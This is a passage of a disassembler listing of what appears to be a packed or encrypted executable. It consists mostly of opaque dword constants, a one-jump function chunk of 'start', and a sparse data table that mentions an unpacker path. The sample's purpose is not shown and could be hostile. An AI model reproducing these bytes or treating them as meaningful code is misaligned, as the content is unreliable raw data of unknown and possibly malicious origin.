41A81448h, 38DC09F7h, 3F5C8340h, 0C398038Ch dd 376B4882h, 6A768100h, 0F7A2F138h, 13F80181h, 0A79481Bh dd 0EC32DEh, 44BDF067h, 1B3E67Ch, 8401B754h, 40F57DB1h dd 0EB3BF1A0h, 6F897360h, 0B812Ch, 0E40EFF20h, 8D3D09A2h dd 849E5E2Eh, 0C0DB7204h, 96C9B490h, 3FC73C57h, 6895DF00h dd 0D178431Eh, 5206BBFAh, 2755FA9Eh, 0A260089h, 0C7C7350h dd 0AA5C2F31h, 6E7800DDh, 9A5B1EF9h, 508904Ch, 9FA37103h dd 47C00273h, 18C6C28Fh, 9CA105A0h, 0DF917701h, 3923AB42h dd 0AC8B6C28h, 610EC044h, 60DD6959h, 5850644h, 5472273Ah dd 0AC987890h, 1B681663h, 0DF09B0EAh, 28609AD5h, 0BF0401Dh dd 0C205230Fh, 0ABB93C03h, 0C7A40812h, 29F39CC1h, 0CF655210h dd 0EB235E01h, 1C333FB3h, 870D4087h, 22054061h, 442C7864h dd 711E655Bh, 72BB303h, 0A77F8F1Eh, 70B5B836h, 40AC44C0h dd 755F1362h, 6E1092ABh, 88C0947Ah, 0AE4E49B0h, 54840043h dd 337EA4D2h, 0E403573Fh, 0C2A542B3h, 0A4169D36h, 0A6C4AC04h dd 6C1EB8B2h, 0B56DC0E1h, 2415AFD0h, 0C3764913h, 565A9830h dd 19600ABh, 2219FF70h, 20008C39h, 58FA3130h, 4C03347h dd 3EDF5FFCh, 6DC8A455h, 53AED600h, 37295BF2h, 0CE2D1FFCh dd 0BA5642DDh, 0B4D81BF6h, 574BECF9h, 4480AC94h, 38943F72h dd 0E0757C4Eh, 1865012Ah, 0C6D802F1h, 0DB52D403h, 0EBE67A17h dd 0A1F7EC20h, 0D8F6012Ch, 0F2093B72h, 2519431h, 0C126829Ch dd 7E5E4001h, 78440339h, 0FEA4756h, 0AC8CC0EDh, 0EB01CD7Bh dd 7C1C9948h, 0B450E46Eh, 9FDAE5h, 9D62EA04h, 6B9EAF7Bh dd 180022FEh, 0DC7731E7h, 603B911Ah, 5E5D9155h, 0C100FD4Eh dd 0BA7423AAh, 3FED7E52h, 213DDAC2h, 1F703F02h, 0CC867CD1h dd 0B41E541Bh, 0ED89A355h, 0F43005A1h, 0BFC6F081h, 3DC1875h dd 0F3361737h, 1E41F40h, 0B048390Ch, 82A46C5Eh, 0E1BDD69Ch dd 1DF8E30Ch, 0C413021Ch, 61653D78h, 3A4414AFh, 7108B455h dd 0F9DA8400h, 26CCA243h, 12189A98h, 8124073h, 3F80B640h dd 0D172BC3Bh, 4068B6CDh, 752816BAh, 37C5D903h, 0F8AFF86Bh dd 73B87D46h, 6F1B01C9h, 0C8221682h, 2910103Fh, 625E49h dd 0B7EB3564h, 10C9568Ah, 1DC8001Eh, 4E1472BEh, 4C0C20BFh dd 0CD0091EEh, 0F232D98h, 37D8A0h, 7DF90E54h, 0BB24AFB4h dd 0EDCB5005h, 6C8019C7h, 87497Ch, 3A1BDCD5h, 6E45E3B3h dd 21072CB1h, 0FF20768Ah, 0E84E733Fh, 0BEAF02BDh, 531FF911h dd 0A3AB1860h, 0FC327189h, 218AA16h, 54756CB5h, 5A910451h dd 84527C07h, 0DABF827Fh, 9A006066h, 0CF06C761h, 8A1A8Bh dd 3F5E7E0Fh, 9A8BEE7h, 0C0FCDB4Ch, 0DD4A175Bh, 3AE070C7h dd 0CC883D0h, 0E2DF0800h, 0B3BF9888h, 240971F0h, 983EED22h dd 2A2D2E4h, 53021DFDh, 1D407170h, 0CD2ABAE9h, 9564B48Bh dd 16822208h, 0C648Ah, 0AFF6DFBDh, 8B98169Fh, 0B8FF4513h dd 550BF000h, 9B678Eh, 0AE65993Dh, 96C2B5BEh, 0B6FF3519h dd 307011B0h, 56EC0033h, 0C71C9448h, 0D100B050h, 0EBCC6C27h dd 8D88AFh, 61708C14h dd 0B9A248F9h, 1880E891h, 52C36327h, 0B023E855h, 0B4BF0038h dd 3288D153h, 100C5073h, 8861B320h, 560B82Eh, 48FA87C8h dd 54640CBEh, 0FE015D09h, 7607BAC7h, 90F20A33h, 79FDB0h dd 726BE81Bh, 627CD2CEh, 0AC4BD576h, 0B2480445h, 550054F2h dd 8A9EC573h, 0BC938C3Dh, 7514D801h, 3988BAA8h, 0A780E371h dd 1F95B36Dh, 0ED14009Ah, 0E66BBCE2h, 0B10AD1F2h, 54DD0924h dd 0B33D7302h, 6D38A078h, 4A1DFF8Bh, 0A020406Bh, 25249F7Ah dd 0DE724700h, 0DF8092F8h, 20884B0Eh, 0FAB7D260h, 895E316h dd 0AF713D00h, 16392CEFh, 0D28BFF9Fh, 99E1C668h, 80E02C8Ah dd 0B4336E0Ch, 0E9F23ADAh, 97DDF800h, 0CBEFE186h, 0CD04317Bh dd 70EA5913h, 0D177FB40h, 0D500A874h, 16AE84EEh, 675B6Dh dd 0F99537Ch, 751E6263h, 0ACC5DB24h, 0FC009717h, 20859F3Ch dd 3BBF140Dh, 0BC30F4CFh, 215CF220h, 4E019076h, 0E0712510h dd 71B877EAh, 0DAD7E400h, 0F77C4B23h, 0F8B5AE16h, 2C34C8h dd 0B1D29804h, 23AFC46Dh, 21D4C000h, 690CD122h, 44F098E9h dd 9D00843Dh, 0FC0351C6h, 1E8EC12h, 878D8B25h, 30E9708Ah dd 740BAF28h, 680DC63Ah, 0D97B7Ch, 0CFD3EE1Bh, 70AEB02Fh dd 8300D577h, 9DF8DC06h, 90816210h, 0D81D4C50h, 25544B0Ah dd 85F80F4h, 2161A097h, 0F88B5207h, 0FF609A5Ch, 11983h dd 0C2B86022h, 26E8898Ah, 0BFEFB405h, 64B2B57Fh, 0E78D0079h dd 0E2F9E54Ch, 2D0403F2h, 5C884890h, 12556441h, 0ECDACE98h dd 35ECC090h, 93436107h, 4D816D7Dh, 48E41EEFh, 74A3E8F6h dd 0D0EB502Dh, 0B2123953h, 7CA05725h, 0E8BFC7CFh, 3A720F00h dd 0EE49509Fh, 2A178E9h, 0BAD1AE8Ch, 748055E5h, 4752DAF9h dd 0AD49F600h, 0D0D376E7h, 64C40BFAh, 6C03700Dh, 0EDF05FC5h dd 0AE4B7513h, 0C7933C40h, 0B492BA3Dh, 0E8E40D8h, 0F4279A65h dd 0D670BEh, 4C5128B2h, 0DCEEC8C3h, 89340898h, 0C8CC317Fh dd 0DD520E10h, 1FC5DF23h, 501C57h, 0B05A189Dh, 0F9008D84h dd 0FA8E886Ah, 19BB40CBh, 916B7FCEh, 3820D4B9h, 0E9EA7300h dd 0BDF5CC90h, 587048D8h, 0D5530501h, 0F8FAF6h, 0B91243B0h dd 0C35C806Ch, 626E8524h, 90AD6F0Bh, 0C8CF03B2h, 98A7A358h dd 3A95C2h, 8CBB36B5h, 2A47AADFh, 13563812h, 0F2951C30h dd 5CBA0092h, 0D23DF72Bh, 0A83E12DAh, 1ECDCF3h, 8070AFDCh dd 0B0703CD1h, 576C2C03h, 1E4F11E0h, 0BA7AB3EBh, 3C40CBFFh dd 0B40B0F2Eh, 6C5A4C4Eh, 0BD007722h, 35B3538Ah, 255D0278h dd 4CC4B56Ah, 26966400h, 9F224489h, 79A7022Fh, 43BD7ED9h dd 0F60098D8h, 0B7A136EFh, 24EF9F3h, 32ACDDBCh, 3CC1884Ah dd 0B5D048F5h, 0DF4E5378h, 0C723BC43h, 0C6692634h, 0EA700554h dd 0A53082D7h, 0FD12D058h, 0B0090D11h, 0D9D8004Fh, 4C9B1836h dd 0D06024DBh, 236A401Ah, 0CE5DE672h, 9A37803Ch, 3DCBC12h dd 5CA81AD2h, 2109966Eh, 80C893A0h, 48A999C6h, 1708000Ah dd 3F970EC5h, 3412057Fh, 5813F72Dh, 95600C8h, 0E4FDF910h dd 790EB8ECh, 0AC82B2E7h, 3EC1C83Ah, 0D603776Dh, 0DC229E46h dd 6B073817h, 0DD5A38D0h, 61400078h, 0E4537992h, 83FE5E2Fh dd 98D79E01h, 0CB236C41h, 91F6072h, 9CB415F1h, 0BDCD6000h dd 0BA42C9AAh, 0BF66553Fh, 0A6D19225h, 168D7CD8h, 88E9B2E3h dd 3703B65Ch, 1CBAD22Dh, 0C159A8CDh, 5D9900ADh, 70ECDDAFh dd 3B13A1DAh, 0A09002C2h, 3BE7C4Ah, 0D750A630h, 0BAD865E2h dd 3B0310AFh, 7E94C622h, 0C46BDAA3h, 0D07E88h, 375E683Eh dd 0A341CEB5h, 80CA333Ch, 38B1706Dh, 0E87327h, 0D2D9B8AEh dd 5436EA9Ch, 93223F14h, 0DC917FCh, 0A802C820h, 0C5380087h dd 13CFA98h, 0EBEC2E46h, 747E0758h, 153BC8A1h, 0B100E0A2h dd 6A87CBB0h, 0EF1E6F83h, 0EC803D17h, 761A979Dh, 548826AAh dd 0F544409Ch, 0C5760FBFh, 1D1BAD3Dh, 2E0F192Dh, 0B77BC25Eh dd 35B840E9h, 0BB8B3A09h, 0BA7C918Fh, 36D1F3Ch, 0D3943EFBh dd 74E656D2h, 0D20DFC00h, 0F0B5097Ah, 8B2C00BDh, 8AEBE05Ch dd 0B000A533h, 0BB3E299Fh, 0C11A52h, 66188BCh, 0A2331C39h dd 1B1FE907h, 629124F8h, 9428A98Bh, 2CE64F9Fh, 61B5BD67h dd 0CC9D6934h, 4801C0DFh, 813D1509h, 342F1C42h, 20DC8D88h dd 0F34C8E71h, 0D76300C3h, 0F43945D4h, 0B756129Eh, 6B300F05h dd 405202C9h, 0D940430Eh, 0EBAC78BDh, 339F00B9h, 3FC2B19Bh dd 9900EFFEh, 1041168Dh, 29C1E622h, 9CCF50Ah, 68E86E8Ah dd 2500E708h, 2DC53E07h, 1271535Ah, 538AD16h, 0C01464ECh dd 66814810h, 1AC35407h, 0B5D018D7h, 3C0C5572h, 5084460Eh dd 0E016E98Dh, 0F89CAD25h, 4821026Fh, 9C5BBEh, 0FE0456B4h dd 38987DDAh, 0BF4A9D09h, 64E83841h, 8ED40458h, 0F1AFDAE2h dd 57F03F08h, 0C7900B3h, 8231B244h, 6558F0CCh, 46CD25E4h dd 1EB8CCB4h, 0DD00CA18h, 27101BE9h, 0E9CDC9Eh, 95ED245Bh dd 459F18CEh, 0E5D05Fh, 3AF82798h, 9B97910Eh, 9AD60680h dd 0A871CB3Dh, 0CCFD2200h, 72A423A5h, 208D5CD9h, 9BE00430h dd 57307514h, 12598945h, 0F2C0C0BFh, 2190DABCh, 79AFC502h dd 405C1FB3h, 0B10C6348h, 0EE1D011Ch, 30FC04C2h, 0E300F358h dd 42A7849Ch, 0AAC97Eh, 0E5DDD26Dh, 9358B2E2h, 753FE8BEh dd 1866BD16h, 0B254C8h, 22381903h, 2193024Ch, 3B285290h dd 0E2CF039h, 7140F8ECh, 0BC1011h, 82D78821h, 0F644088Eh dd 19DEB000h, 0EED04EF1h, 9F1A13B3h, 0A36CC8C4h, 33658300h dd 5A5E5B7Eh, 6DB505A4h, 0E5A17282h, 0C470814Ch, 0AE1F5E88h dd 430B446Ch, 389BEC8Eh, 0A57668F0h, 110036EEh, 0FD4D41ACh dd 0A3C0E3Dh, 0E6305B6Dh, 253C20C8h, 1C91AD72h, 30AF0CBEh dd 0C008D5FDh, 0A235723Ah, 5CA229FFh, 92DF5607h, 4C1490EAh dd 0F1752CA4h, 0DC447705h, 34C008B6h, 4BB331Ah, 2C504F73h dd 184B955h, 41FAE39h, 260BC4Ch, 3E901D9h, 0CF33ABA4h dd 0CC98E8C2h, 0A61BDC00h, 567F441Eh, 5C2D09B2h, 1C59B63Dh dd 89EA5386h, 379D0011h, 1C12EB74h, 0AD00FC5Dh, 4739AAB4h dd 90A4686h, 0D75AAC2Ah, 0E00FCE4h, 87ED73EAh, 183D5F8Dh dd 20D492FBh, 0C700EC45h, 0F1B8337Dh, 5EE71485h, 453420AEh dd 6D280B1Fh, 0A35D907Ch, 0B428958h, 2C64BDh, 644192BFh dd 952FCFAAh, 169C664Ch, 0C3026BBh, 0A1B013h, 0D82B02DDh dd 0ADBCACB2h, 16619102h, 40C55D8Fh, 5A6D0A50h, 0F6782339h dd 9498C0CBh, 5C008EB5h, 0AB79D608h, 23977A5h, 56C73AECh dd 68C66828h, 9ED20F00h, 0BB63A058h, 95180780h, 42A1A365h dd 88E3BDCAh, 1DF0D0D4h, 0C7719A56h, 61D7240Ah, 7911C0B4h dd 109BB26h, 363B23C3h, 0E866E20Dh, 66D86207h, 0AA410F0Ch dd 35E407B8h, 0BDE202DAh, 1E9F5547h, 0BE9EBCC0h, 0EC1D4C24h dd 6EDCBB03h, 0DEE298FEh, 17AD06F8h, 7175EA56h, 0FAD35D07h dd 97972B5Eh, 584479h, 0EF6CC3B4h, 7BCB52Dh, 0FB66D00h dd 818DE10Bh, 872C0009h, 0F07D6AFAh, 0E7001CB3h, 17271392h dd 0A6795C4Bh, 34A01FC4h, 0D185871Ah, 6F9950AFh, 3102D290h dd 0CC9C6C0Ch, 0E8C40C7h, 20635FBEh, 76545B80h, 3736A200h dd 0F52039DAh, 87330050h, 8D35CBAEh, 0C5130C25h, 0F4882D7Dh dd 9B210033h, 0F1349044h, 1895AC72h, 38B3658h, 9F7F6D1h dd 0B8E89B5Ch, 109D24E7h, 4D6128h, 3A0DAC10h, 0DF98CDF3h dd 8D03F605h, 0E0C03BA6h dd 9C119A6Bh, 8F3A40B4h, 7FEEF9CEh, 0DBEBDF00h, 3B4439C8h dd 1794BCC6h, 31000611h, 50040A5h, 982213C5h, 0B8B565CBh dd 0F9243952h, 3882F1Eh, 0ED262986h, 0AA6AC888h, 0B6CD900h dd 4D993DA5h, 91080454h, 0F21F39B2h, 12007FF4h, 68FFD55Eh dd 1E18AE0h, 7F24DB74h, 0D4139F53h, 96FCD052h, 84243CFDh dd 0E980C8B0h, 19A3623h, 0A5DE56BBh, 0E9C1296Ah, 0A879C3h dd 5B8ABF13h, 4A2E8298h, 53C88848h, 0D63AC300h, 56E995DDh dd 7B6B00ECh, 61B59C2Ch, 7DB006C1h, 0B48A980Eh, 0BCC8F389h dd 760C0B0Dh, 3C83Ch, 0C0FCE828h, 0A6453D0h, 0B488F14Ah dd 21304236h, 75C400DBh, 0A2F156B3h, 80C0EC4Ch, 0F6D026Fh dd 0E1F44Ah, 89A68C0Bh, 0CD03DF4Dh, 93B8833Fh, 0B0CCBF3Dh dd 11D5810h, 0CECBE14h, 0F8D45F00h, 0E55072ABh, 9B228C17h dd 8B4A9800h, 4BAFEA33h, 0E1182069h, 147191A4h, 0FCB57300h dd 299CDDF9h, 58E50267h, 53789874h, 0DC611C5Ch, 0D3D059EFh dd 8D3C024Ch, 0E7A9EEB1h, 0B40C8440h, 6DA63300h, 981D711Fh dd 537A1218h, 0CD1C8843h, 58D87304h, 0BCE90DCCh, 0C1B61D01h dd 6F3EE487h, 7D2DB9E0h, 0EC6F2451h, 4A540F8h, 817720E7h dd 0F6E57D00h, 0BB9F6092h, 5D875DFh, 0A468A726h, 0A0F2B4h dd 0E14D236h, 49EB3Eh, 0DF1062C2h, 0BA72B907h, 0F394829Fh dd 0CE232222h, 8280E056h, 10F0DEC0h, 41042725h, 6E913810h dd 7E648E00h, 0E6553613h, 0ABE38ACh, 8B48EE89h, 50D9486Ah dd 416E0700h, 1A266C3h, 407E1AEFh, 3A0DC438h, 31F08040h dd 0ECCF7Ch, 5C8F8D46h, 165621C8h, 1A508CB8h, 87972DE0h dd 0E486F688h, 0DD0D09C8h, 0CC07C433h, 8E2C601Bh, 8B1F009h dd 0DA80B021h, 9E18A2B7h, 4292010Bh, 528FDDAEh, 87F86C27h dd 43731959h, 0C0D5F05Fh, 0E0024CC2h, 0B9741783h, 31DB5BE0h dd 0EFE6B706h, 179870F7h, 0D2C3224Ch, 0C072EBECh, 4703D00Eh dd 76070036h, 981A3C99h, 9E4E00B8h, 0EA0A09A3h, 0F8018A5Dh dd 252415A8h, 0D7C85258h, 893D3072h, 54643251h, 965CFD3Fh dd 9488EDFBh, 0C72003EAh, 0A07B5AEh, 0D7364CA8h, 821ABE3Ch dd 9F5B98F0h, 0D363106Bh, 8E024700h, 0DAF12318h, 68B564A7h dd 9888526Fh, 709507F8h, 0D005E56Dh, 0E29F35F1h, 0CC9B0B09h dd 0C58C819Eh, 5C38F70Ah, 0C2A19887h, 8CE4FB57h, 0B1EF44h dd 0BB99791Ah, 0BAF5010Ah, 5212D900h, 59159DC7h, 2EB60239h dd 3DF8092Bh, 1002DC91h, 107D30h, 76091B4h, 0F0B798EFh dd 3DB3704h, 0ADC188C1h, 142B4C9Ah, 0A0AED58h, 112438F8h dd 83C400A3h, 0D0C5716Eh, 9EFC0370h, 53C75557h, 0DBCD9FB8h dd 0C05813B7h, 7774CB44h, 6F070076h, 384894B4h, 0CD0975EEh dd 71A0728Eh, 80BE1014h, 8C4FF3DCh, 5A7233h, 83ED3792h dd 9DFBF60Ah, 119FF9E8h, 1093730Ch, 0EE94323Ch, 2072EB22h dd 0DCA74445h, 80A0D01Ch, 27143FC0h, 28EF46h, 726423A8h dd 90F68886h, 124788BEh, 21F88ED0h, 0DDE23B9Ch, 6044BDAEh dd 748A07B3h, 8B024401h, 5F555061h, 39EA5EE4h, 0B200AAB0h dd 1353B54Bh, 0E8B4A075h, 5374040h, 401CBCE4h, 479BD7EDh dd 7C57D3Eh, 75A9961Fh, 407BC182h, 287E1D8Ch, 2DCC20F8h dd 0AC642DC6h, 0FC13E300h, 0A13306EFh, 12AA703Bh, 8878C511h dd 0B400CFA8h, 349508ADh, 780AC97Ch, 0B9874C4h, 0EA3C3F18h dd 0A01BA010h, 83B42800h, 62276145h, 0A79500AAh, 2D3C0649h dd 71F6DDC3h, 0E42AF700h, 8866229Ch, 1DC502D1h, 0AE33C436h dd 0AF03B77Ch, 5DA0A05h, 0CC965D59h, 2D3491CAh, 807828E1h dd 0B109B2DEh, 9DF7E64Ch, 2C1B902Bh, 3FE6F9B0h, 64A16A1Fh dd 4E401824h, 834304h, 8DEF3CA0h, 0D04B2C1Ah, 24083B4Ch dd 570271E2h, 7CB648E8h, 4538A894h, 80C42847h, 76D202DDh dd 821006Fh, 0E3F91051h, 8966548h, 978D8BAh, 917DCF2h dd 79866F4h, 192FB49Bh, 0B0412BA3h, 0AECF1034h, 0DE630055h dd 3A7D8807h, 0EC1CFFDCh, 46AD9714h, 0E5F603B4h, 774C9BEFh dd 0CCCC8CE2h, 0B8C76602h, 76CA6023h, 0A5C44020h, 0BC02E15Ch dd 0FC6F6C1Eh, 0EAB0E0A2h, 0C9074FD2h, 4FEBE860h, 0F27521FCh dd 71E80B1h, 1B88640h, 2D58C0E1h, 884423C9h, 1A2D5498h dd 0C49461B1h, 9B009C63h, 7C17E9DAh, 0CF008649h, 0CB338ABCh dd 424C1Ch, 0E7E3DF4Bh, 536D19B1h, 0A672DA12h, 2E4460CCh dd 5946AAFh, 0C03850ECh, 26116374h, 0BD0B1E1Ch, 0E00E54C0h dd 0B0E5D957h, 0F212F64Ch, 4088BC72h, 8DAC1498h, 44BD1E00h dd 68FED118h, 0C79E02B5h, 139D96BCh, 6508F874h, 9888B774h dd 0DDC2C780h, 99EA0306h, 0A15C00D8h, 0CC71119Dh, 0CA17A30Fh dd 0E503F222h, 0B8B96F06h, 945C4Bh, 3BE31E65h, 411AECDCh dd 0C344532Dh, 0A2C7C8A8h, 987A0206h, 0A9D538C6h, 900A071h dd 97E4AEC2h, 0A7F403A6h, 0C83AAACCh, 81ABC0EDh, 9809C29Ch dd 4190BC4h, 54F8F160h, 0C11FDBC0h, 220123B0h, 0E313B237h dd 60226B72h, 1BE9C000h, 14C327CBh, 9DEAC560h, 5BD988AFh dd 0DC50400Dh, 860B0572h, 0BA677107h, 0A1942041h, 236B488h dd 8F1A0DC5h, 60C45710h, 938A7200h, 4A4B71A8h, 0BE0506FFh dd 0F84C6E92h, 7016325Eh, 5F979C1Ch, 1A0040B2h, 0FE1664B6h dd 2700E02Dh, 0F4B51BF5h, 0E410222Ah, 0B60703BFh, 0CD5E531Dh dd 0BD3D16F0h, 0E8A0D8BEh, 1DB3E903h, 0B871E847h, 58F03673h dd 8811B4A3h, 24FC5B75h, 0FC4A524h, 0A18B149Eh, 0ADCC44C8h dd 90E8DC1Ch, 61405A5Ch, 476AD6E3h, 477CBE12h, 45CFA076h dd 0C6A02FFEh, 7C009488h, 5BF06B1Fh, 2D167CDh, 56B5C3ADh dd 0CC59E180h, 0C902C51Eh, 0FFFD983Dh, 22707460h, 6A58C200h dd 5F10B0D1h, 3F44904Fh, 5B9E2F81h, 0BC2E3Fh, 5D55ABC3h dd 4E02BDD3h, 0B00B2D1Eh, 83A47C6Bh, 8B9B507Bh, 6455FCF0h dd 80182CF5h, 8DBAA431h, 50D607F6h, 3F88F257h, 0F8C1DC2Bh dd 1F069A3h, 70F98040h, 77D6F033h, 0E0C0EBC3h, 0BC9024E5h dd 0C62EC317h, 400488h, 8A179070h, 0AA692C14h, 7AE91B00h dd 0F23AFE55h, 0F225E49Ah, 924800C8h, 7F675C88h, 100B28C7h dd 0C4B8F026h, 501200A0h, 0FDE599A6h, 9E0ED1A7h, 0CB18BDh dd 0F3290840h, 650F0FAAh, 0D0F223C5h, 0FD459C6Ch, 0DF4EF600h dd 9B8B5905h, 0B2E33E84h, 7F73313h, 134BFA08h, 0F3C8830Ch dd 0FE021A03h, 0D9F8F637h, 79D87AEBh, 0D86E3959h, 358750h dd 3E755CA0h, 1519166Ah, 0B0B0858h, 66AA722Ah, 7F340548h dd 0C2A0E936h, 1C62F5C4h, 0C8E5F47Ch, 316B50F5h, 70736560h dd 88006CBBh, 2FBE459Eh, 3DE225Eh, 0F26E07B5h, 77F0878Bh dd 7F07A73Ch, 9933EC5Dh, 4813D800h, 460100EAh, 0AEEF8DE9h dd 0A2006888h, 76F8398Eh, 0DF8947h, 0A801D225h, 0A1C3B062h dd 41875E0Eh, 0BC8FA2h, 661AD803h, 1CC52A9h, 60FBFFFFh dd 0 db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_53E7C9: ; CODE XREF: start:loc_4E0265j ; DATA XREF: start:loc_4E0086o jmp loc_541AAA ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- dd offset byte_56EA8F dw 1FFFh dd 4D1E0000h, 5Ah, 3E0000h, 9Fh, 3 dup(0) dd 0A0990000h, 77E7h, 0Bh dup(0) dd 7C0000h, 2 dup(0) dd 0FDD70000h, 0DF9B0000h, 59B3FFA5h, 7CC80059h, 3012h dd 0Bh dup(0) dd 0D6760000h, 0E8AEh, 5 dup(0) dd 20000h, 0 dd 1A1A0000h, 0FFA5h, 8EB0000h, 594Ch, 5 dup(0) dd 86480000h, 57h, 0 dd 0B5E20000h, 8A0Fh, 2 dup(0) dd 0F5590000h, 6E36h, 5 dup(0) dd 3040000h, 7FFEh, 3 dup(0) dd 7B710000h, 2A94h, 71BB0000h, 1005Ah, 3 dup(0) dword_53E920 dd 0EBB30000h, 77F7h, 29h dup(0) dd 9F040000h, 0FFFFh, 3 dup(0) dd 36500000h, 840058h, 69210000h, 57h, 2 dup(0) dd 0A9A0000h, 2F390000h, 39FBh, 0 dd 5CB50000h, 77E7h, 4 dup(0) dd 0FBF60000h, 77FFh, 4 dup(0) dd 11110000h, 1111h, 3 dup(0) dd 7D840000h, 30C7h, 4 dup(0) dd 66A80000h, 0B5E20000h, 94998A0Fh, 0A0h, 2 dup(0) dd 0C8620000h, 6EA4h, 25Ch, 6 dup(0) dd 980000h, 0A00F0000h, 0A0h, 3 dup(0) dd 3040000h, 7FFEh, 68540000h, 64696D65h, 61h, 1Dh dup(0) dd 0B7h, 87DA0000h, 5Ah, 3 dup(0) dd 72DF0000h, 5DBh, 0AF9A0000h, 0AB06h, 2 dup(0) dd 0E2BE0000h, 370F22Fh, 0CB97h, 5 dup(0) dd 37260000h, 5Bh, 0 dd 61090000h, 58h, 7 dup(0) dd 60000h, 3 dup(0) dd 3040000h, 7FFEh, 728E0000h, 5Ah, 2 dup(0) dd 0A13F0000h, 0B69F77E7h, 59h, 0 dd 72DF0000h, 5DBh, 2 dup(0) dd 15C30000h, 59h, 3040000h, 7FFEh, 7 dup(0) dd 0BFFD0000h, 0FF7C8FBDh, 0FFFFh, 3 dup(0) dd 50420000h, 0B1340057h, 0A2h, 0 dd 9D000000h, 3 dup(0) dd 3E680000h, 77E8h, 8EC80000h, 58h, 0 dd 50000h, 3 dup(0) dd 0FF540000h, 12h, 4 dup(0) dd 33330000h, 2 dup(33333333h), 7C303333h, 5952h, 25Ah dd 37260000h, 5Bh, 3A430000h, 755F6D5Ch, 6361706Eh, 72656Bh dd 8Ah dup(0) dd 0CDCE0000h, 0E09Fh, 2 dup(0) dd 152F0000h, 2 dup(0) dd 0DCB60000h, 0FFEBh, 5A2B0000h, 0B2h, 1E840000h, 57h dd 3 dup(0) dd 9F6C0000h, 0FFFFh, 2 dup(0) dd 0B1AB0000h, 9C00ACh, 3 dup(0) dd 0A4C40000h, 0FFFFh, 6 dup(0) dd 0CDE10000h, 3 dup(0) dd 0C4860000h, 77E7h, 0 dd 4CA80000h, 59h, 5 dup(0) dd 1D870000h, 59h, 390000h, 0 dd 30DF0000h, 0 dd 65830000h, 5Ah, 3 dup(0) dd 61090000h, 59EC0058h, 59h, 230000h, 4 dup(0) dd 0D9DB0000h, 58h, 0B5E20000h, 52F00000h, 0E0000058h dd 4Dh, 0 dd 0D3400000h, 7826h, 6 dup(0) dd 66100000h, 2 dup(0) dd 19860000h, 12540054h, 77F5h, 5B1B0000h, 5116h, 0Bh dup(0) dd 0F52B0000h, 9CD6h, 3 dup(0) dd 50420000h, 57h, 4 dup(0) dd 69DD0000h, 0A0h, 11E40000h, 5201h, 13h dup(0) dd 208D0000h, 5Ah, 0C1E20000h, 1, 3 dup(0) dd offset asc_5C0000 ; "ллллллллллллллллллллллллллллллллллллллл"... dd 0FF05h, 6CB80000h, 241h, 6 dup(0) dd 234A0000h, 2 dup(0) dd 0B5E20000h, 8A0Fh, 0BAh dup(0) dd 0A5FD0000h, 77E7h, 4 dup(0) dd 0A5FE0000h, 77E7h, 5 dup(0) dd 198A0000h, 0A1FE0054h, 100B0h, 0 dd 99650000h, 0Bh dup(0) dd 7D10000h, 5 dup(0) dd 423C0000h, 774Fh, 0 dd 8AB70000h, 5Ah, 0 dd 711F0000h, 5Ah, 0 dd 0A1440000h, 77E7h, 0 dd 0F3E10000h, 1ABh, 21560000h, 59h, 6 dup(0) dd 10000h, 5060000h, 45CAh, 66A80000h, 72DF0000h, 661005DBh dd 0 dd 0C96A0000h, 0EBAD77D4h, 0CF8Fh, 0 dd 0A9A0000h, 53h, 5 dup(0) dd 0B1AB0000h, 0ACh, 86480000h, 0FF540057h, 12h, 63h dup(0) dd 71BB0000h, 5Ah, 3 dup(0) dd 0B00000h, 48E90000h, 0FFC40001h, 12h, 5 dup(0) dd 238A0000h, 8C0A0059h, 0A0h, 0 dd 12A10000h, 9C370058h, 0A0h, 0EBE70000h, 0B45D7FFEh dd 0B2E1h, 77DDh, 3 dup(0) dd 92740000h, 56h, 0 dd 59740000h, 8655h, 0 dd 0D55F0000h, 2, 7B370000h, 131Bh, 0 dd 92340000h, 0A0h, 900000h, 2 dup(0) dd 19E0000h, 54h, 4 dup(0) dd 0FFFF0000h, 0FFFFh, 6 dup(0) dd 9F70000h, 0ECAA00A0h, 56h, 5 dup(0) dd 50680000h, 4E3F0058h, 5Bh, 4 dup(0) dd 66A80000h, 2 dup(0) dd 0A00F0000h, 0A0h, 72FB0000h, 5Bh, 2 dup(0) dd 5CCC0000h, 8001h, 2 dup(0) dd 20DD0000h, 8CAA029Ch, 0AC0FE36h, 0FE62A4Ah, 2629009Fh dd 59h, 4 dup(0) dd 0D9840000h, 0BF5F1F3Ah, 78FDh, 3040000h, 237FFEh, 6 dup(0) dd 7AC60000h, 7B7E009Fh, 3D31h, 2 dup(0) dd 2FE80000h, 8DCC77E8h, 6610FFFFh, 0 dd 4FEB0000h, 59h, 0 dd 1B400000h, 76B4h, 0FE620000h, 0FFFFh, 7 dup(0) dd 313D0000h, 49DEh, 9 dup(0) dd 0F59F0000h, 235D0053h, 7FA7h, 0 dd 0ECAA0000h, 56h, 2 dup(0) dd 0D6E20000h, 0EBB9E010h, 0DD84h, 0 dd 0A5E70000h, 0A4h, 0 dd 929E0000h, 87BEh, 0 dd 35320000h, 145Ch, 0 dd 10000h, 3 dup(0) dd 72DF0000h, 5DBh, 0DEA3028Fh, 0FFABh, 0C7670000h, 0B1CA00BCh dd 0AEh, 5 dup(0) dd 0FF660000h, 53h, 8 dup(0) dd 241h, 5 dup(0) dd 0B80000h, 0B000000h, 0C20374C0h, 448B0018h, 0E8530C24h dd 0 dd 17C3815Bh, 89000000h, 8910245Ch, 5B142444h, 0A0A037B8h dd 8BE0FF00h, 0FF042444h, 0E0h, 16h dup(0) dd 1F700000h, 8C0A0322h, 72DF00A0h, 8C6B05DBh, 0A0h, 941D0000h dd 56h, 72DF0000h, 5DBh, 3 dup(0) dd 0DC2E0000h, 4657h, 4 dup(0) dd 2B0000h, 3 dup(0) dd 9FE20000h, 0A4F9h, 2 dup(0) dd 47EA0000h, 0FFFFh, 8D530000h, 11E400A4h, 5201h, 4 dup(0) dd 940000h, 5 dup(0) dd 8D690000h, 10009A30h, 3040000h, 7FFEh, 0A00F0000h, 0A0h dd 0 dd 8F290000h, 0AAA80887h, 5Ah, 0 dd 26350000h, 54h, 5 dup(0) dd 59F00000h, 77DDh, 2 dup(0) dd 6DE00000h, 0D3FEh, 5 dup(0) dd 0E1870000h, 600057h, 2 dup(0) dd 71490000h, 0F0E1h, 2 dup(0) dd 190000h, 0C6520000h, 5348h, 0 dd 698D0000h, 0DBD60171h, 6F28h, 0 dd 